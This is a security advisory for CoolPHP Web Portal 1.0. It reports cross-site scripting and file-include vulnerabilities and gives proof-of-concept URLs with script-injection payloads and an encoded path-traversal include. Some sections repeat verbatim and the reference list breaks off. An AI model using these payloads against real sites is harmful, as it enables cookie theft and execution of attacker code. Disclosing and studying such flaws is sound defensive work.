CoolPHP Multiple Remote Input Validation Vulnerabilities
BID:11437
Info
CoolPHP Multiple Remote Input Validation Vulnerabilities
| Bugtraq ID: | 11437 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 16 2004 12:00AM |
| Updated: | Oct 16 2004 12:00AM |
| Credit: | Disclosure of these issues is credited to R00tCr4ck <[email protected]>. |
| Vulnerable: |
CoolPHP Web Portal 1.0 -stable |
| Not Vulnerable: | |
Discussion
CoolPHP Multiple Remote Input Validation Vulnerabilities
Reportedly CoolPHP is affected by multiple remote input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied input prior to using it to make critical actions.
An attacker can leverage these issues to steal cookie-based authentication credentials as well as carry out other malicious activities through cross-site scripting attacks. An attacker can also leverage this issue to execute arbitrary server-side scripts using file include attacks.
Reportedly CoolPHP is affected by multiple remote input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied input prior to using it to make critical actions.
An attacker can leverage these issues to steal cookie-based authentication credentials as well as carry out other malicious activities through cross-site scripting attacks. An attacker can also leverage this issue to execute arbitrary server-side scripts using file include attacks.
Exploit / POC
CoolPHP Multiple Remote Input Validation Vulnerabilities
No exploit is required to leverage these issues. The following proof of concepts have been provided:
Cross-Site Scripting:
http://www.example.com/index.php?op=buscar&query=<script language=javascript>window.alert(document.cookie);</script>
http://www.example.com/index.php?op=buscar&query=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
http://www.example.com/index.php?op=userinfo&nick=<script language=javascript>window.alert(document.cookie);</script>
File Include:
http://www.example.com/index.php?op=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FattackerControlledDirectory/attackerScript.php
No exploit is required to leverage these issues. The following proof of concepts have been provided:
Cross-Site Scripting:
http://www.example.com/index.php?op=buscar&query=<script language=javascript>window.alert(document.cookie);</script>
http://www.example.com/index.php?op=buscar&query=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
http://www.example.com/index.php?op=userinfo&nick=<script language=javascript>window.alert(document.cookie);</script>
File Include:
http://www.example.com/index.php?op=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FattackerControlledDirectory/attackerScript.php
Solution / Fix
CoolPHP Multiple Remote Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
CoolPHP Multiple Remote Input Validation Vulnerabilities
References:
References:
- CoolPHP Home Page (CoolPHP)
- Multiple Vulnerabilities in CoolPHP (R00tCr4ck